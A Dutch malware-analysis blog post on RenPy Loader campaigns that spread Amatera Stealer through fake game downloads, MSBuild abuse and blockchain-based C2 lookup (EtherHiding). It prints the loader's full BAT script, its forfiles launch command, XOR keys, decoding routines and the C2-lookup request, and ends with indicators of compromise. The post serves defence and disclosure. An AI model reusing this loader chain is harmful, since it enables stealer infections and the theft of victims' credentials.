Nepgames verspreiden stealers via RenPy Loader, MSBuild en EtherHiding

| 20 juli 2026
Ren'Py-logo

We hebben verschillende campagnes ontdekt waarbij valse downloads van games, mods, cracks en software worden gebruikt om RenPy Loader te verspreiden. Zodra de loader is geïnstalleerd, zet deze een complexe, uit meerdere fasen bestaande infectieketen in gang, waarbij misbruik wordt gemaakt van MSBuild en de EtherHiding-techniek, om uiteindelijk Amatera Stealer te installeren.

Amatera is een infostealer – een soort malware die is ontworpen om gevoelige informatie van een geïnfecteerd apparaat te stelen. Het kan zich richten op wachtwoorden en andere gegevens die zijn opgeslagen in browsers, cryptovaluta-wallets, browserextensies, berichtenapps en lokale bestanden. Met gestolen inloggegevens en sessiegegevens kunnen aanvallers mogelijk ook toegang krijgen tot de online accounts van het slachtoffer.

Het slachtoffer ziet mogelijk iets wat eruitziet als een normaal spel of een installatieprogramma voor software, terwijl de malware onopgemerkt op de achtergrond draait.

RenPy Loader, ook wel bekend als RenEngine Loader, is bijzonder interessant omdat het misbruik maakt van Ren’Py, een legitieme engine die wordt gebruikt voor het maken van visuele romans, verhaalgedreven games en interactieve fictie. Door kwaadaardige code te verbergen in software die met gaming wordt geassocieerd, kunnen aanvallers hun downloads geloofwaardiger laten lijken voor mensen die op zoek zijn naar games, mods of gekraakte software.

We hebben eerder gezien dat aanvallers legitieme ontwikkeltools en opkomende softwareframeworks, waaronder Bun en Deno, misbruiken om malware te verspreiden. RenPy Loader volgt hetzelfde patroon: aanvallers maken misbruik van legitieme technologie om kwaadaardige activiteiten te verhullen, de infectieketen ingewikkelder te maken en detectie te bemoeilijken.

Er is ook vastgesteld dat RenPy Loader andere malware verspreidt, waaronder HijackLoader en Lumma Stealer, waaruit blijkt dat de uiteindelijke payload per campagne kan verschillen.

In deze blog analyseren we een infectieketen waarin Ren’Py een ZIP-archief ontcijfert dat een BAT-bestand en verschillende MSBuild-projectbestanden bevat. Deze bestanden laden een met een trojan geïnfecteerde .NET-component, die vervolgens een andere schadelijke component decodeert.

Dat kwaadaardige onderdeel maakt gebruik van een techniek die ‘EtherHiding’ wordt genoemd om zijn command-and-control-server (C2) te lokaliseren. In plaats van het C2-adres rechtstreeks in de malware op te slaan, verbergen de aanvallers het in gegevens die op een openbare blockchain zijn opgeslagen. De malware downloadt vervolgens de volgende fasen van de aanval vanaf die server, waardoor de infrastructuur van de aanvallers moeilijker te identificeren en te verstoren is.

Tot slot onderzoeken we de aanvullende payloads die uiteindelijk Amatera Stealer ontsleutelen en uitvoeren.

Valse downloads infecteren je apparaat

De infectie begint wanneer iemand een zogenaamd spel, een mod, een crack of een stukje software downloadt. We hebben vastgesteld dat schadelijke bestanden worden verspreid via:

  • Kwaadaardige websites
  • Portalen voor het downloaden van games
  • Verschillende diensten voor het delen van bestanden, waaronder Wormhole, GoFile, Google Drive en MEGA

Hieronder volgen enkele van de gedetecteerde pagina’s waarmee de infectieketen begint:

In verschillende gevallen werd de gebruiker bij het klikken op een downloadlink doorgestuurd naar een andere valse downloadwebsite. Deze pagina’s hadden verschillende ontwerpen en verzonnen servicenamen, waardoor de campagnes minder eentonig leken en de kwaadaardige infrastructuur moeilijker te herkennen was.

Hieronder staan voorbeelden van valse downloadpagina’s die worden gebruikt om het schadelijke archief te verspreiden:

De gebruiker downloadt een archief met daarin een bestand met de naam Setup.exe. Zodra dit bestand wordt geopend, wordt de infectieketen in gang gezet.

Voorbeeld van een archief dat is gedownload van een schadelijke website
Voorbeeld van een archief dat is gedownload van een schadelijke website

Het slachtoffer ziet een laad- of installatiescherm, maar op de achtergrond wordt schadelijke code uitgevoerd.

Het installatiescherm
Het installatiescherm

Hoe blijf ik veilig

Met een paar voorzorgsmaatregelen kun je het risico op het downloaden van schadelijke games of software verminderen:

  • Download games en software van officiële websites, betrouwbare app-winkels of gerenommeerde distributieplatforms.
  • Wees voorzichtig met gekraakte software, onofficiële mods en gratis versies van betaalde games.
  • Wees op je hoede wanneer een downloadlink je via verschillende onbekende websites of diensten voor het delen van bestanden omleidt.
  • Controleer de inhoud van gedownloade archieven voordat je uitvoerbare bestanden opent, zoals Setup.exe.
  • Let op ongebruikelijke bestandsnamen, afbeeldingen of tekstbestanden die niets met het onderwerp te maken hebben, en inhoud die niet overeenkomt met wat je eigenlijk wilde downloaden.
  • Gebruik realtime anti-malwaresoftware zoals Malwarebytes.
  • Zorg ervoor dat uw besturingssysteem, browser en beveiligingssoftware up-to-date zijn.

De mensen achter deze campagnes maken voortdurend nieuwe websites aan en passen hun downloadpagina’s aan. Een professioneel ogend installatieprogramma of een bekende dienst voor het delen van bestanden is geen garantie dat een download veilig is.

Technische analyse van de RenPy-loader

Ren’Py is een gratis, open-source-engine voor het maken van visuele romans, verhaalgedreven games en interactieve fictie. Ren’Py maakt het mogelijk om Python-scripts te integreren, wat aanvallers misbruiken om kwaadaardige code in te voegen.

In dit geval hebben we schadelijke code aangetroffen in de volgende bestanden en paden:

Pad

Beschrijving

data/python-packages/sys_config/

Anti-sandbox-klassen

data/libwin32.rpa

Lader

data/.GEg

XOR-versleutelde configuratie

data/j3lpTcg7kBRN.E3

Met XOR versleutelde ZIP-bestand

De eerste-trapsraket, afkomstig uit libwin32.rpa voert de volgende bewerkingen uit:

  • Leest het configuratiebestand data/.GEg en decodeert deze met behulp van Base64-decodering en XOR met de sleutel 81034149cd6f48c8821340204f92766e. Dit configuratiebestand bevat het wachtwoord dat wordt gebruikt om het ZIP-bestand uit te pakken, evenals andere configuratiegegevens die door de loader worden gebruikt.
  • Oproepen sys_config.is_sandboxed() en wordt afgesloten als er een sandbox wordt gedetecteerd.
  • XOR-ontcijferingen data/j3lpTcg7kBRN.E3 met behulp van de sleutel A50YyY1 om het ZIP-bestand te downloaden.
  • Pakt de inhoud van het ZIP-bestand uit naar een willekeurige map onder %TEMP%/tmp-{5 digits}-{12 characters} en schrijft een :Zone.Identifier alternatieve gegevensstroom (ADS) met ZoneId=0 om het Web-merk te verwijderen en SmartScreen te omzeilen. Het voegt ook een willekeurige REM string in het uitgepakte BAT-bestand.
  • Lanceert de lading met behulp van forfiles.exe.
  • Verzendt het MAC en de campagne-ID van de machine naar een trackingwebsite.
De gedecodeerde configuratie
De gedecodeerde configuratie
De bestanden in het gedecodeerde ZIP-bestand
De bestanden in het gedecodeerde ZIP-bestand

In dit geval werd het uitgepakte BAT-bestand met de volgende opdracht uitgevoerd:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Inhoud van het BAT-bestand:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

Het uitgevoerde BAT-bestand voert de volgende bewerkingen uit:

  • Start zichzelf opnieuw op in een verborgen of headless console:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Schakelt MSBuild-eigenschapfuncties in, waardoor extra methoden beschikbaar komen, zoals AppDomain.CurrentDomain.Load uit te voeren:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Voert uit MSBuild.exe met Nancy.csproj als projectbestand. Tijdens de projectevaluatie voert een kwaadaardige MSBuild-eigenschapfunctie een hexadecimale decodering uit en laadt vervolgens op reflectieve wijze de volgende DLL-fase.

De met een trojan geïnfecteerde Nancy DLL en de aangepaste bytecode

Nancy.csproj laadt de drie uitgepakte bestanden in Nancy.csproj.user, Internal.props, en Nancy.Compile.targets. De schadelijke DLL is verdeeld over drie waarden die in deze bestanden zijn opgeslagen.

De geïmporteerde bestanden in Nancy.csproj
De geïmporteerde bestanden in Nancy.csproj

Nancy.Compile.targets voegt de drie waarden samen om de DLL hexadecimaal te decoderen en de DefaultEvaluator5 methode met behulp van AppDomain.CurrentDomain.Load.CreateInstance.

Uitvoering van DefaultEvaluator5
Uitvoering van DefaultEvaluator5

Het interessante is dat Nancy.csproj heeft twee doelen: het is het MSBuild-project dat wordt gebruikt om de loader van de eerste fase uit te voeren, en het bevat tevens de volgende fase die door de loader wordt gedecodeerd.

De DLL is een met een trojan geïnfecteerde versie van de Nancy .NET-bibliotheek en is een versleutelde .NET-loader waarin schadelijke code is geïmplementeerd in de DefaultEvaluator5 class. Een deel van de functionaliteit van de DLL is geïmplementeerd in aangepaste bytecode die door deze main-methode wordt uitgevoerd.

Vergelijking tussen de legitieme en de met een trojan geïnfecteerde Nancy-DLL’s
Vergelijking tussen de legitieme en de met een trojan geïnfecteerde Nancy-DLL’s

De DLL voert de volgende bewerkingen uit:

  • Ontcijfert tekenreeksen uit bronbestanden met behulp van XOR-ontcijfering met meerdere sleutels.
  • Vindt API’s op basis van API-hashing en GetDelegateForFunctionPointer.
  • Wijzigt de netwerkinstellingen, waaronder het uitschakelen van de validatie van TLS-certificaten en het instellen van de standaardproxy van het systeem.
  • Voert anti-forensische handelingen uit.
  • Leest de _czzf omgevingsvariabele, die verwijst naar de vorige Nancy.csproj bestand, decodeert het vervolgens en voert het uit.

Het belangrijkste DefaultEvaluator5 Deze methode haalt tekenreeksen op en interpreteert de bytecode die in de volgende bronnen is opgenomen:

  • Nancy.Runtime.mvlorimu: Bevat de aangepaste bytecode. De bytecode wordt geïnterpreteerd door _pv en _sro. Het implementeert 23 opcodes die worden gebruikt om andere tekenreeksen te ontsleutelen en de DLL voor de volgende fase te laden.
  • Nancy.Data.tcnlhxw en Nancy.Resources.kxxodp: Bevat de versleutelde tekenreeksen en andere gegevens die voor het ontsleutelen worden gebruikt, waaronder sleutels, lengtes, indexen en de S-box.

De strings worden met behulp van het volgende algoritme gedecodeerd:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

De volgende DLL-fase, GollopDevest, wordt gedecodeerd vanuit dezelfde Nancy.csproj bestand op basis van de volgende logica en geladen met AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
De gecodeerde volgende fase tussen de Pack-markeringen
De gecodeerde volgende fase tussen de Pack markeringen

EtherHiding en Amatera Stealer

De volgende uitgeleste fase is een DLL met de naam GollopDevest.dll, een .NET-downloader die gebruikmaakt van de EtherHiding-techniek om verbinding te maken met zijn command-and-control-server (C2) en de volgende fase te downloaden.

Het versleutelde C2-domein wordt verkregen via een Ethereum JSON-RPC eth_call verzoek aan bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

Deze EtherHiding-downloader maakt waarschijnlijk deel uit van een ‘malware-as-a-service’ (MaaS)-operatie, aangezien we hebben vastgesteld dat deze ook in andere campagnes wordt verspreid, waaronder ClickFix-campagnes.

Vervolgens worden er nog drie payloads gedownload: twee .NET-DLL’s met de naam PavinWide (een anti-analyse-DLL) en GollopDevest (een loader-DLL) en een C++-DLL met de naam LanoseThrip, waardoor uiteindelijk Amatera Stealer wordt gedecodeerd en geladen.

In dit geval zijn deze payloads gedownload van:

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

De .NET-DLL’s zijn sterk versleuteld door middel van het afvlakken van de controlestroom en indirecte aanroepen via calli/ldftn, tekenreeksversleuteling met verschillende algoritmen, onnodige code, dode code en nep-tekenreeksen zoals URL-paden.

De analyse van deze DLL’s is nog gaande en zal in de volgende blogberichten nader worden belicht.

Indicatoren van compromissen (IOC's)

Domeinen

  • downpro[.]net – Nep-downloadwebsite
  • macisofile[.]sbs – Nep-downloadwebsite
  • visitmama[.]blog – Nep-downloadwebsite
  • visitmama[.]guru – Nep-downloadwebsite
  • getgamerfree[.]com – Nep-downloadwebsite
  • fullgames[.]digital – Nep-downloadwebsite
  • flingbase[.]net – Nep-downloadwebsite
  • citronemu[.]com – Nep-downloadwebsite
  • filemodo[.]xyz – Distributie-infrastructuur
  • storage06x[.]cfd – Distributie-infrastructuur
  • p03sil[.]cyou – Distributie-infrastructuur
  • wimsedas[.]xyz – Distributie-infrastructuur
  • againstmor[.]store – Distributie-infrastructuur
  • host03q[.]cfd – Distributie-infrastructuur
  • cloud01y[.]cfd – Distributie-infrastructuur
  • storage11x[.]cfd – Distributie-infrastructuur
  • storage04x[.]cfd – Distributie-infrastructuur
  • host82p[.]cfd – Distributie-infrastructuur
  • cloud05y[.]cfd – Distributie-infrastructuur
  • analyticstrack-pzh[.]click – Website voor het bijhouden van gegevens
  • login.orbitalframework[.]cc – Amatera Stealer C2

IP-adressen

  • 144.124.251[.]171 – Wordt gebruikt om extra lading te verkrijgen
  • 195.63.140[.]33 – Wordt gebruikt om extra lading te verkrijgen
  • 78.40.196[.]252 – Wordt gebruikt om extra lading te verkrijgen

Bestands-hashes (MD5)

  • 29203ca123d51b1b33505a0813d360df – Loader voor de eerste fase (met een Trojaans paard geïnfecteerde DLL)
  • 810F257542018BE0FC62AF542D13D012 – GollopDevest DLL (downloader-DLL)
  • 681DB529E402467A4B0567C82A350FC0 – PavinWride DLL (DLL ter voorkoming van analyse)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – GollopDevest DLL (laad-DLL)
  • F8453EFE408CE25B9484F872797E3D63 – Definitieve lading

CNET Editors' Choice Award 2026

Volgens CNET.Lees hun recensie


Over de auteur

Gabriele is een malware-onderzoeker die dol is op het bestrijden van malware. Als hij dat niet doet, geniet hij van de natuur, kunst en dieren.